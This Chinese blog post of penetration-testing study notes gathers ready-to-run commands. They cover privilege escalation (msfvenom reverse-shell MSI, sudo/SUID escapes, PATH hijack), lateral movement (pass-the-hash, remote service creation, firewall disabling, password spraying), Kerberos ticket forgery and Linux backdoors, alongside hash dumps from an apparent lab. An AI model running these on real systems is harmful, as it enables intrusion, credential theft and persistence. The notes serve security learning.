内网渗透总结2--补充

上篇“内网渗透总结”介绍内网渗透的基础知识、基本流程;本篇将会从以下角度去详细记录笔者内网渗透的思路以及学习过程:

1
“信息收集、提权、横向移动、维持权限、清理痕迹”

本篇将会持续补充。

一、信息收集

信息收集这块主要是为了摸清内网环境、找内网资产、识别弱点、铺路后续攻击

内网信息收集的命令,在“内网渗透总结”中已有详细介绍:以下只记录我们应该收集哪些东西

https://aqiao-jashell.github.io/2023/09/26/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E6%80%BB%E7%BB%93/#%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86

内网信息收集目标清单:

1、目标网络拓扑
1
2
3
4
5
可达的网段、子网、VLAN:通过 arp -a、route print、Nmap 等发现

网关、路由器、出口

内外网的边界
2、域环境/工作组信息
1
2
3
4
5
6
7
8
9
10
是否是 AD 域
当前域名 / 域控制器(DC)
nltest /dclist:<domain> / echo %USERDOMAIN%

域信任关系
父/子域、林、跨域信任

域用户、域组
域管理员、特殊权限账户
net group /domain、net user /domain
3、关键资产识别
1
2
3
4
5
6
7
文件服务器、数据库服务器

邮件服务器、打印机

Web 业务系统

有高权限/敏感数据的主机
4、用户&凭据收集
1
2
3
4
5
6
7
8
9
10
11
当前用户、已知用户
whoami、query user

登录历史、登录会话
quser、qwinsta

共享目录/文件(看看有没有留明文密码、密钥)
net share、扫描 \\<host>\C$

已存的明文/哈希密码
mimikatz、creds 文件、注册表
5、服务&协议
1
2
3
4
5
6
7
8
内部开放的端口、服务
SMB、RDP、LDAP、Kerberos、RPC

哪些机器上运行着易利用的服务
比如 IIS、Tomcat、SQLServer

是否允许匿名访问的服务
SMB 匿名共享、LDAP 匿名
6、安全策略
1
2
3
4
5
6
域策略 / 组策略(GPO)
密码策略(复杂度、最短长度)

用户锁定策略

登录时间、权限分配

7、检测易被滥用的配置

1
2
3
4
5
6
7
本地/域管理员是谁

本地防火墙策略

开放共享/Everyone权限

异常SUID、计划任务

二、提权

权限提升这块上文还只是去写了一种,这篇笔者将会持续优化,记录提权清单,过程以及思路

Windows 实战笔记:

1
2
3
4
5
6
7
8
9
powershell:
whoami /all # 查看权限
systeminfo # 补丁+版本信息,判断能不能打 MS 漏洞
reg query <路径> # AlwaysInstallElevated 判断提权
sc qc <服务名> # 判断是否为可控服务
UAC Bypass(无需密码提权)
mimikatz > sekurlsa::logonpasswords # 获取明文密码

2025新:SMB提权:https://mp.weixin.qq.com/s/IX-1OKN5zBd9Ny77BYxMBQ

🔥 尝试提权点:

  • 服务路径劫持(空格无引号)
  • MSI 安装提权(AlwaysInstallElevated)
  • SeImpersonate + Juicy/PrintSpoofer
  • Scheduled Task 任意写路径

reg query <路径> # AlwaysInstallElevated 判断提权 详细介绍:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
reg query <路径> —— 判断是否存在 AlwaysInstallElevated 提权点,
Windows 支持通过 .msi 安装包安装程序。
正常情况下,只有管理员用户能以高权限安装 .msi。
但如果 系统设置了 "AlwaysInstallElevated" 为 1,任何用户都可以以 SYSTEM 权限运行安装包,造成严重提权漏洞。
--
检查方法:
使用以下两个命令:
reg query HKCU\Software\Policies\Microsoft\Windows\Installer
reg query HKLM\Software\Policies\Microsoft\Windows\Installer

如果两个注册表中都存在并且:
AlwaysInstallElevated REG_DWORD 0x1

就表示当前系统可以利用该提权漏洞。

利用方法(实战)

1
2
3
4
5
6
生成一个高权限的 .msi 安装包:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=你的IP LPORT=端口 -f msi > rev.msi

在目标机执行:
msiexec /quiet /qn /i rev.msi
得到一个反弹的 SYSTEM shell

sc qc <服务名> —— 检查服务是否存在“提权机会”

详细介绍:

1
2
3
4
5
知识:服务提权(Unquoted Service Path / 可写服务)
Windows 服务可能:
路径未加引号且路径中有空格
或者 服务二进制、目录权限可写
攻击者可以放一个恶意的 exe 来劫持服务。

利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
检查服务信息
sc qc 服务名

举个例子:
sc qc SomeService

返回结果:
[SC] QueryServiceConfig 成功

SERVICE_NAME: SomeService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
BINARY_PATH_NAME : C:\Program Files\Some App\service.exe


如果你看到:

BINARY_PATH_NAME 没有引号

且路径中包含空格

就可以尝试放置恶意程序,例如:
C:\Program.exe

Windows 服务启动时会误以为 C:\Program.exe 是目标,导致执行攻击者的代码。


🛠️ 更进一步:检测服务目录或程序是否可写
搭配 AccessChk 使用:
accesschk.exe -uwcqv "Everyone" "C:\Program Files\Some App"

如果当前用户有 写入权限,说明可以替换为恶意可执行程序,等待服务启动或手动重启服务。

UAC Bypass(无需密码提权)

1
2
3
4
5
6
适合当前用户为管理员,但非高权限执行。

使用:fodhelper / eventvwr / computerdefaults 等 UAC 绕过方式:
powershell -Command "Start-Process cmd -Verb runAs"

或者调用 Invoke-BinaryUAC 脚本。

Windows提权机会检测表

项目 检测命令 可提权依据 是否可提权
AlwaysInstallElevated(HKCU) reg query HKCU\Software\Policies\Microsoft\Windows\Installer 返回 AlwaysInstallElevated = 0x1
AlwaysInstallElevated(HKLM) reg query HKLM\Software\Policies\Microsoft\Windows\Installer 返回 AlwaysInstallElevated = 0x1
服务名 sc query <服务名> 服务存在并正常运行
服务路径(是否未加引号且有空格) sc qc <服务名> 路径未加引号且包含空格
服务路径是否可写 accesschk.exe -uwcqv “Everyone” <服务路径> 当前用户可写服务目录
服务程序是否可写 accesschk.exe -uwcqv “Everyone” <服务程序路径> 当前用户可写服务程序
当前用户是否有管理员组权限 whoami /groups 属于 Administrators 组,或拥有高权限 SID
是否可执行计划任务 schtasks /query /fo LIST /v 发现计划任务的执行文件用户可写
是否拥有 SeImpersonatePrivilege whoami /priv 存在并启用 SeImpersonatePrivilege

✅ Linux 实战笔记:

1
2
3
4
5
6
7
8
9
10
11
bash:
id && whoami
uname -a # 内核版本(判断是否能打 CVE)
sudo -l # 查看提权点(重点)
find / -perm -4000 2>/dev/null # SUID 程序提权
cat /etc/crontab # 是否能劫持计划任务

echo $PATH
ls -ld $(echo $PATH | tr ':' ' ') # 环境变量劫持,看能与否

2025新sudo提权:https://github.com/pr0v3rbs/CVE-2025-32463_chwoot

🔥 尝试提权点:

  • SUID + GTFOBins(vim、find、nmap、python)
  • sudo 可执行命令(bash、tar、perl 等)
  • 内核漏洞提权(DirtyCow、DirtyPipe、Polkit)
  • PATH 劫持、LD_PRELOAD 劫持

sudo -l # 查看提权点(重点)

详细介绍:

1
2
3
4
5
6
7
8
9
10
11
背景:
如果当前用户可以使用 sudo 执行某些命令,但又不需要输入 root 密码,那就存在“低权用户以 root 权限执行命令”的漏洞点。

命令使用:
sudo -l

可能输出:
User hacker may run the following commands on this host:
(ALL) NOPASSWD: /usr/bin/vim

表示当前用户可以使用 sudo /usr/bin/vim 无需密码提权

利用方式:

1
2
3
4
5
6
7
8
9
10
11
12
利用方式:
如果是 vim:
sudo vim -c '!sh'

如果是 find
sudo find . -exec /bin/sh \; -quit

如果是 perl:
sudo perl -e 'exec "/bin/sh";'

万能办法:查 GTFOBins
📚 https://gtfobins.github.io/

find / -perm -4000 2>/dev/null —— 查找 SUID 提权机会

详细介绍

1
2
3
4
5
6
7
8
9
10
11
12
背景:
SUID 是 Linux 中的一种特殊权限,运行程序时将以“文件拥有者”的身份运行,如果某个程序是 root 拥有的且带 SUID,那么低权限用户运行时也可能变成 root!

命令使用:
find / -perm -4000 2>/dev/null

📌 输出示例:
/usr/bin/passwd
/usr/bin/vim
/usr/bin/nmap

你就可以检查这些程序是否能被滥用提权。

利用方式

1
2
3
4
5
举例:nmap 被设置了 SUID:
nmap --interactive

# 进入后输入 !sh
也可以查 GTFOBins,列出带 SUID 权限的可用提权方法。

cat /etc/crontab —— 查定时任务劫持提权

详细介绍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
背景:
Linux 定时任务(cron)如果运行的是某个用户可以编辑的脚本文件,那么可以用来提权。

命令使用:
cat /etc/crontab

或者查其他 cron 目录:
ls -alh /etc/cron.*/*

示例输出:
* * * * * root /opt/backup.sh

如果 /opt/backup.sh 你可写(可编辑),你就可以在里面写入恶意命令:
echo "/bin/bash" > /opt/backup.sh
chmod +x /opt/backup.sh

等待1分钟,root 定时任务执行,就能得到一个 root shell

环境变量劫持,看能与否:

1
2
3
4
5
6
7
8
9
10
什么是环境变量劫持提权?
Linux 中执行某些程序(尤其是 root 用户以脚本方式执行的程序)时,会依赖环境变量,比如:

PATH:指定命令查找路径

LD_PRELOAD:强制预加载指定的动态库

LD_LIBRARY_PATH:指定加载共享库的路径

如果攻击者能控制这些变量的值,或者能在路径中插入恶意程序,就有可能让系统以 root 权限运行攻击者的代码,实现提权。

判断是否可能 PATH 劫持:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1、当前 PATH 变量中是否有可写目录
echo $PATH
ls -ld $(echo $PATH | tr ':' ' ')

判断要点:
有没有你能写入的路径(如 /home/user/bin, /tmp, .)
ls -ld 显示权限中是否包含 w(可写)

2、是否有以 root 身份运行的脚本未写命令全路径
比如定时任务脚本、systemd 脚本、开机脚本等。
执行:
cat /etc/crontab
cat /etc/systemd/system/*.service

看脚本里是否出现这种命令:
cp somefile somewhere # ❌ 未写全路径

实战方式 1:PATH 劫持提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
条件:
有脚本或任务以 root 身份运行
脚本中调用的命令没有写绝对路径(如 cp, ls, date
当前用户可以写入 PATH 中靠前目录,或者劫持 PATH 本身

📌 示例:
一个定时任务脚本 /etc/cron.d/backup:
#!/bin/bash
tar czf /backup.tgz /var/log

但没有使用 /bin/tar 这样的绝对路径。

💣 利用方式:
当前用户能写 /tmp,构造恶意 tar:
echo '#!/bin/bash' > /tmp/tar
echo 'bash' >> /tmp/tar
chmod +x /tmp/tar

修改 PATH:
export PATH=/tmp:$PATH

当 root 执行脚本时,会误调用 /tmp/tar → 弹出 root shell

Linux提权机会检测表

项目 检测命令 可提权依据
是否有 sudo 权限(sudo -l) sudo -l 可执行如 vim、perl、nmap 且为 NOPASSWD
是否存在 SUID 程序(find / -perm -4000) find / -perm -4000 2>/dev/null 存在如 /usr/bin/nmap、vim 等
是否存在用户可写的 SUID 程序 ls -l <SUID程序路径> 程序拥有者为 root,当前用户可写
是否存在可写计划任务脚本 cat /etc/crontab 计划任务脚本当前用户可写
是否存在可写计划任务目录 ls -alh /etc/cron./ cron.d 或定时任务目录可写
是否可以写入 /etc/passwd ls -l /etc/passwd /etc/passwd 可写,能添加 root 用户
是否有内核漏洞(如 DirtyCow) uname -a 内核版本匹配 CVE 提权漏洞
是否存在可写环境变量劫持机会(PATH) echo $PATH && ls -l which <命令> 可控制 PATH 并影响系统程序
是否存在 LD_PRELOAD 提权机会 strings /etc/ld.so.preload /etc/ld.so.preload 存在且可写

🔗 推荐下载链接()

实战提权组合包清单:

Windows 提权工具包清单

工具名 用途 推荐使用方式
WinPEAS 信息收集(权限、补丁、计划任务、注册表) WinPEASx64.exe(红队常用)
PowerUp.ps1 PowerShell 权限信息收集 powershell -exec bypass -File PowerUp.ps1
Seatbelt.exe C# 版权限枚举工具 支持静默执行,适合 bypass EDR
SharpUp.exe C# 版 PowerUp,适合 CobaltStrike 内加载 execute-assembly SharpUp.exe
Mimikatz 提取密码、Hash、Kerberos票据 Dump creds 后横向或伪造票据
PrintSpoofer SeImpersonate 特权提权(Win10) PrintSpoofer.exe -i -c cmd
JuicyPotato / RoguePotato Token 提权 适用于旧系统(2016 前)
MSFVenom 构造 payload(MSI、EXE) 搭配 AlwaysInstallElevated 提权
AccessChk.exe 查看对象权限(辅助判断可写服务) Sysinternals 工具

Linux 提权工具包清单

工具名 用途 推荐使用方式
LinPEAS.sh 枚举权限、配置、弱点(全自动) bash linpeas.sh
LinEnum.sh 权限信息收集(轻量级) bash LinEnum.sh
GTFOBins SUID、sudo 提权 cheat sheet https://gtfobins.github.io
pspy 查看计划任务/定时执行的脚本(无 root 也可) ./pspy64
dirtycow.c / dirtypipe.c 内核漏洞提权 EXP 需编译后运行(适配内核版本)
sudo -l 检查当前用户可执行哪些命令 可直奔提权点
find / -perm -4000 查找所有 SUID 程序 搭配 GTFOBins 使用

三、横向移动

横向移动两大钟分为漏洞利用横向凭证横向 (只是笔者的理解,可能不完全对),在上篇中介绍了IPC横向:

https://aqiao-jashell.github.io/2023/09/26/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E6%80%BB%E7%BB%93/#%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8

分类 解释 例子
凭证滥用/凭据重用(Credential-based) 利用获取到的凭证、hash、票据、令牌,在目标机器上登录 - 明文密码/NTLM Hash → Pass-the-Hash (PTH) - Kerberos TGT/TGS → Pass-the-Ticket (PTT) - WMI、PsExec、RDP 登录
漏洞利用(Exploit-based) 利用目标机器存在的漏洞获取权限,实现远程执行代码 - EternalBlue(MS17-010) - PrintNightmare - SMBGhost(CVE-2020-0796)

在本篇中会主要以凭证横向为切入点详细介绍

1、IPC横向

ipc横向就不思索啦!上篇应该已经介绍的好清楚了;以下补充一下:

1
2
3
netsh advfirewall show allprofiles   #查看防火墙状态
netsh advfirewall set allprofiles state on #打开防火墙
netsh advfirewall set allprofiles state off # 关闭防火墙
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
建立 IPC 常见的错误代码
15:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
251:网络问题,Windows 无法找到网络路径
353:找不到网络路径,可能是 IP 地址错误、目标未开机、目标 Lanmanserver 服务未启动、有
防火墙等问题
467:找不到网络名,本地 Lanmanworkstation 服务未启动,目标删除 ipc$
51219:提供的凭据和已存在的凭据集冲突,说明已建立 IPC$,需要先删除
61326:账号密码错误
71792:目标 NetLogon 服务未启动,连接域控常常会出现此情况
82242:用户密码过期,目标有账号策略,强制定期更改密码
#建立 IPC 失败的原因
1)目标系统不是 NT 或以上的操作系统
2)对方没有打开 IPC$共
3)对方未开启 139445 端口,或者被防火墙屏蔽
4)输出命令、账号密码有错误

sc–创建Windows服务来进行横向渗透

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
使用条件:
当前跳板机用户具有管理员权限(因为要创建服务)。
与目标机器已经建立ipc连接


首先建立ipc连接:
利用sc横向(开了防火墙创建不成功)
sc \\10.20.5.107 create bindshell binpath="c:\shell.exe"
注意这里的格式,“=”后面是必须空一格的,否则会出现错误。
立即启动该服务:
sc \\10.20.5.107 start bindshell
使用完后删除刚才创建的服务
sc \\[host] delete [servicename] #删除服务== sc \\10.20.5.107 delete bindshell
我们还可以通过设置服务来关闭防火墙(没开防火墙失败):
sc \\10.20.5.107 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\10.20.5.107 start unablefirewall

SMB横向(依赖IPC)

1)psexec传递:

第一种:建立ipc连接,明文或者hash传递,需要对方的administrator权限,否则会错误

psexec是微软官方,不会被杀:https://docs.microsoft.com/en-us/sysinternals/downloads/pstools

1
2
3
4
5
6
7
8
9
10
11
12
建立ipc连接:net use \\192.168.213.163\ipc$ "123.com" /user:administrator
使用psexec返回cmd窗口:psexec \\192.168.213.163 -s cmd

第二种:不用建立 IPC 直接提供明文账户密码
删除ipc连接:net use * /delete

直接明文连接:psexec \\192.168.213.163 -u administrator -p 123.com -s cmd
hash连接:
psexec -hashes :$HASH$ ./administrator@10.1.2.3
psexec -hashes :$HASH$ domain/administrator@10.1.2.3
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@10.20.5.107 官方 Pstools 无法
采。需要使用 impacket 工具包使用,操作简单,容易被杀

** psexec(微软官方工具)另外**

1
2
3
4
5
// 明文传递
PsExec64.exe \\192.168.52.136 -u <username> -p <password> -s cmd

// 哈希传递
psexec.exe admin@10.73.147.30 -hashes 624aac413795cdc1a5c7b1e00f780017:852a844adfce18f66009b4f14e0a98de

2)smbexec传递

无需先建立 ipc 链接 明文或 hash 传递

这是使用impacket工具包,

exe下载地址:https://gitee.com/RichChigga/impacket-examples-windows/repository/archive/master.zip

py版本:https://github.com/SecureAuthCorp/impacket

1
2
3
4
5
6
明文传递命令:
smbexec hsyy.com/administrator:123.com@192.168.213.163

hash传递:
smbexec -hashes :$HASH$ ./admin@192.168.213.163
smbbexec -hashes :$HASH$ domain/admin@192.168.213.163

另外

1
python psexec.py -hashes :36ec9d73422e1bf53b84fdb16a8e4198 ./qaxnb@192.168.52.136

smbexec

1
python smbexec.py ./:@192.168.52.136

sc–创建Windows服务来进行横向渗透(依赖IPC)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
使用条件:
当前跳板机用户具有管理员权限(因为要创建服务)。
与目标机器已经建立ipc连接


首先建立ipc连接:
利用sc横向(开了防火墙创建不成功)
sc \\10.20.5.107 create bindshell binpath="c:\shell.exe"
注意这里的格式,“=”后面是必须空一格的,否则会出现错误。
立即启动该服务:
sc \\10.20.5.107 start bindshell
使用完后删除刚才创建的服务
sc \\[host] delete [servicename] #删除服务== sc \\10.20.5.107 delete bindshell
我们还可以通过设置服务来关闭防火墙(没开防火墙失败):
sc \\10.20.5.107 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\10.20.5.107 start unablefirewall

2、wmic横向

查询远程进程信息
1
wmic /node:10.20.5.107 /user:Administrator /password:qwer1234 process list brief
远程桌面
1
wmic /node:10.20.5.107 /USER:Administrator PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1// wmic /node:"[full machine name]" /USER:"[domain]\[username]" PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
查询远程进程信息
远程创建进程

如下,以administrator用户连接192.168.183.130(DC),并在机器上创建一个进程执行ipconfig命令,将结果写入C:\result.txt文本文件中:(由于wmic执行远程命令没有回显,所以要将结果写入到txt中)

1
2
3
4
5
6
wmic /node:10.20.5.107 /user:Administrator /password:qwer1234 process call create "cmd.exe /c ipconfig > C:\result.txt"
type \\10.20.5.107\c$\result.txt
wmic /node:10.20.5.107 /user:Administrator /password:qwer1234 process call create "cmd.exe /c <命令> > C:\result.txt"

// 执行脚本
wmic /node:10.20.5.107 /user:Administrator /password:qwer1234 process call create "目录\backdoor.exe"

python工具–wmiexec

WMIEXEC

wmiexec是对windows自带的wmic做了一些强化,让渗透变得更容易。比较好用的在这里介绍几种。wmiexec需要提供账号密码进行远程连接,但是如果没有破解出账号和明文密码,也可以配合哈希传递或票据注入功能一起使用,先进行传递或注入,然后再使用WMIEXEC即可。

Impacket中的wmiexec.py

该脚本是impacket工具包中的一个工具,主要在从Linux像Windows进行横向渗透时使用,十分强大,可以走socks代理进入内网。

下载地址:

https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py

使用很简单,运行如下命令获取目标系统DC(192.168.183.130)的Shell:

1
python wmiexec.py administrator:Liu78963@192.168.183.130// python wmiexec.py 用户名:密码@目标IP

3、密码喷洒

1
2
3
4
5
6
4.1 利用 metasploit 进行密码喷洒
msf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/bind_tcp
msf6 exploit(windows/smb/psexec) > set smbuser user.txt
msf6 exploit(windows/smb/psexec) > set smbpass password.txt
msf6 exploit(windows/smb/psexec) > set rhost 192.168.52.0/24
msf6 exploit(windows/smb/psexec) > run

4、PTH - 哈希传递

​ PTH,即 Pass The Hash,通过找到与账号相关的密码散列值 (通常是 NTLM Hash) 来进行攻击。在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码。因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就可以使用哈希传递的方法登录到内网主机的其他计算机。

1、利用条件

1
2
3
4
5
6
7
1、在工作组环境中:
Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
Windows Vista 之后的机器,只能是administrator用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问

2、在域环境中:
只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器
如果要用普通域管理员账号进行哈希传递攻击,则需要修改修改目标机器的 LocalAccountTokenFilterPolicy为1

2、MiMiKatz-PTH

1
2
3
1.mimikatz privilege::debug
2.mimikatz sekurlsa::pth /user:administrator /domain:goksec.org /ntlm:8a963371a63944419ec1adf687bb1be5
3.steal_token PID

ntml==run 哈希

5、PTK-横向

​ 即 Pass The Key ,当系统安装了 KB2871997 补丁且禁用了 NTLM 的时候,那我们抓取到的 ntlm hash. 也就失去了作用,但是可以通过 pass the key 的攻击方式获得权限。

利用条件

1
2
3
4
获取用户的aes key
mimikatz sekurlsa::ekeys
sekurlsa::pth /user:xxx /domain:xxx /aes256:xxxxxxxx"
成功后会返回一个cmd

6、PtT - 票据传递(ms14-068)

利用条件

1
2
3
1.域控没有打MS14-068的补丁(KB3011780)
2.拿下一台加入域的计算机
3.有这台域内计算机的域用户密码和Sid

利用步骤

1
2
3
4
5
先清空当前机器的票据信息
mimikatz kerberos::list //列出当前票据
mimikatz kerberos::purge //清除票据
然后查看本机的sid
whoami /all

ms14-068生成tgt票据:

1
ms14-068.exe -u lisi@goksec.org -p goksec@2021 -s S-1-5-21-1797401017-738776913-2751391128-1106 -d DC.goksec.org
1
2
3
4
5
导入票据
mimikatz kerberos::ptc <>>

使用如下命令,可成功读取域控主机C盘目录下文件
shell dir \DC.goksec.org\c$

7、kerberoast 攻击

​ 攻击者从 TGS-REP 中提取加密的服务票证。由于服务票证是用链接到请求 SPN 的帐户的哈希加密的,所以攻击者可以离线破解这个加密块,恢复帐户的明文密码。

如何得到域中的 SPN?

1
2
3
setspn -q /

cscript GetUserSPNs.vbs

请求服务票据

1
mimikatz kerberos::ask /target:

导出票据

1
mimikatz kerberos::list /export

破解服务票据:

1
python3 tgsrepcrack.py password.txt xxxx.kirbi

8、WinRM 横向

​ WinRM 代表 Windows 远程管理,是一种允许管理员远程执行系统管理任务的服务。默认情况下支持 Kerberos 和 NTLM 身份验证以及基本身份验证。

利用条件

1
2
1、在win 2012之后(包括win 2012)的版本是默认开启的,win 2012之前利用需要手动开启winRM。
2、防火墙对59865985端口开放。

空连接失败:

无法访问的情况
1
2
3
情况1:WinRM服务将在Windows Server 2008和更高版本上自动启动(在Windows Vista中,需要手动启动该服务)。默认情况下,未配置WinRM侦听器。即使WinRM服务正在运行,也无法接收或发送请求数据的WS-Management协议消息。

情况2:Internet连接防火墙(ICF)阻止访问端口。

防御

1
2
3
4
5
当然,存在检测和限制WinRM远程命令执行/横向移动的机会。考虑以下:
监视源自wmiprvse.exe和winrshost.exe的远程进程执行链
监视Microsoft-Windows-WinRM / Operational事件日志中的可疑条目。注意:在测试WMI类交互(WinRM.vbs / SharpWSManWinRM / etc)期间,似乎没有成功的连接会话记录在此处。但是,未成功的错误记录了WMI资源的名称。
考虑将可信主机列入白名单,以仅允许某些计算机连接到WinRM服务器。可以在此Red Canary博客文章中找到更多信息。注意:WinRM受信任的主机控制客户端可以连接到什么。这样,以集中方式控制此设置可能是有利的,但是更好的方法是利用跳转主机和(主机)防火墙规则来控制应允许哪些计算机连接到WinRM主机。
管理员不是唯一可以利用WinRM进行远程管理的用户。该成员远程管理用户本地/域组可以在WinRM的连接到WMI资源。确保仅允许授权人员使用组成员身份。

四、维持权限

上篇中有介绍Windows的权限维持,本篇主要补充一下windows权限维持中的票据,以及Linux中的权限维持。

Windows权限维持之黄金白银票据

少写理论(因为网上都能查到理论)多写实践:

​ 用一句话来说,就是金票比银票权限高,金票是去维权域控制器权限的,银票是去维权域内某个服务的权限的。都是拿SID和NTLM去做维权。

黄金票据(Golden ticket)

原理
1
2
3
在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。

参考:https://www.jianshu.com/p/4936da524040
1
黄金票据常用于权限维持。 当我们获得域控的控制权限后,有可能获取域内所有用户的hash,和krbtgt的hash。这时,由于一些原因导致我们失去对目标的控制权,但是我们还留有一个普通用户的权限,并且krbtgt的密码没有更改,此时我们可以利用krbtgt用户的ntlm hash制作黄金票据伪造tgt,重新获取域控的管理权限。
所需条件
1
2
3
4
5
1、域名称
2、域的SID值
3、域的KRBTGT账号的HASH
4、伪造任意用户名
(获取域的SID和KRBTGT账号的NTLM HASH的前提是需要已经拿到了域的权限)

白银票据(Silver ticket)

原理
1
2
3
4
5
如果说黄金票据是伪造的TGT,那么白银票据就是伪造的ST。
在Kerberos认证的第三部,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。
所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。

参考:https://www.jianshu.com/p/4936da524040
所需条件
1
2
3
4
5
6
1.域名
2.域sid
3.目标服务器名
4.可利用的服务
5.服务账号的NTML HASH
6.需要伪造的用户名
总结&&参考
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
金票和银票的区别
获取的权限不同
金票:伪造的TGT,可以获取任意Kerberos的访问权限
银票:伪造的ST,只能访问指定的服务,如CIFS

认证流程不同
金票:同KDC交互,但不同AS交互
银票:不同KDC交互,直接访问Server

加密方式不同
金票:由krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密

https://www.likecs.com/show-454375.html
https://www.jianshu.com/p/4936da524040
https://blog.csdn.net/lhh134/article/details/104139081
https://www.jianshu.com/p/1ec166b4fcf8
之前做实验的时候还看了很多其他的文章...

实战-权限维持-黄金票据:

1
从DC中hashdump出krbtgt的hash值,krbtgt用户是域中用来管理发放票据的用户,拥有了该用户的权限,就可以伪造系统中的任意用户
1
2
3
4
5
6
7
8
9
10
11
12
beacon> hashdump
[*] Tasked beacon to dump hashes
[+] host called home, sent: 82541 bytes
[+] received password hashes:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:82dfc71b72a11ef37d663047bc2088fb:::
de1ay:1001:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::
mssql:2103:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::
DC$:1002:aad3b435b51404eeaad3b435b51404ee:f38f278a2c7a92ac0642375ef8c44a23:::
PC$:1105:aad3b435b51404eeaad3b435b51404ee:47e7baa98451a0cc2d567a2cbd15c289:::
WEB$:1603:aad3b435b51404eeaad3b435b51404ee:135e025df9ab10fa921c2bf5845e9a29:::

在DC查看域的sid

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
beacon> logonpasswords
[*] Tasked beacon to run mimikatz's sekurlsa::logonpasswords command
[+] host called home, sent: 312954 bytes
[+] received output:

Authentication Id : 0 ; 220494 (00000000:00035d4e)
Session : Interactive from 1
User Name : de1ay
Domain : DE1AY
Logon Server : DC
Logon Time : 2025/7/1 16:12:25
SID : S-1-5-21-2756371121-2868759905-3853650604-1001
msv :
[00000003] Primary
* Username : de1ay
* Domain : DE1AY
* NTLM : 161cff084477fe596a5db81874498a24
* SHA1 : d669f3bccf14bf77d64667ec65aae32d2d10039d
[00010000] CredentialKeys
* NTLM : 161cff084477fe596a5db81874498a24
* SHA1 : d669f3bccf14bf77d64667ec65aae32d2d10039d
tspkg :
wdigest :

在web主机生成黄金票据

1
先删除之前建立的ipc连接,看看票据有咩有走通 (因为之前已经用ipc横向之后,用schtasks做过权限维持了,这边删掉。重新做一次)
1
再执行shell dir \\10.10.10.10\c$

直接获取维持全域的权限(201没横过)

**实战-权限维持-白银票据

类似低等一点的白银票据,也是要获取sid和 hash值

cs上填入这些

黄金票据和白银票据最后都是这一步,访问域控的c盘

1
shell dir \\10.10.10.10\c$

Linux权限维持

Linux 后门

1.添加root用户

(1) 原理:

添加账户为r00t密码为password的root账户(如果未成功,尝试增加密码复杂度):

useradd -u 0 -o -g root -G root r00t
echo r00t:password|chpasswd

Centos 7:

或者:

1
2
perl -e 'print crypt("toor","AA")."\n"' # 密码为toor
echo "backdoor:AAug171jePcFo:0:0:me:/root:/bin/bash">>/etc/passwd # AAug171jePcFo为第一行命令执行结果

也可以设置其他账户(比如mysqld)为可登陆并加入root组。

(2) 检测: 查看/etc/passwd文件中是否有uid=0的非root账户。

(3) 清除: 删除对应账户。

2.设置suid权限位

(1) 原理:

设置了suid权限位的文件在执行时具有该文件拥有者的权限,所以可以在root权限时留一个bash文件的后门,使得在低权限时能够通过该后门获得root权限。

1
2
3
cp /bin/bash /tmp/test
chmod 4755 /tmp/test # 或者 chmod u+s /tmp/test
/tmp/test -p # 因为在bash2中添加了防护措施,无法直接获取root shell,使用-p参数获取

(2) 检测:

1
find / -perm -4000 # 查找设置了suid权限位的文件

(3) 清除:

chmod -s /tmp/test # 或者 chmod 755 /tmp/test
3.bash环境文件

(1) 原理:

bash环境文件/etc/profile、/.bash_profile、/.bashrc、~/.bash_logout等,这些文件本质上是bash脚本文件,当用户登录系统之后,会陆续执行其中的部分文件,在其中写入bash命令即可在用户登录时执行。

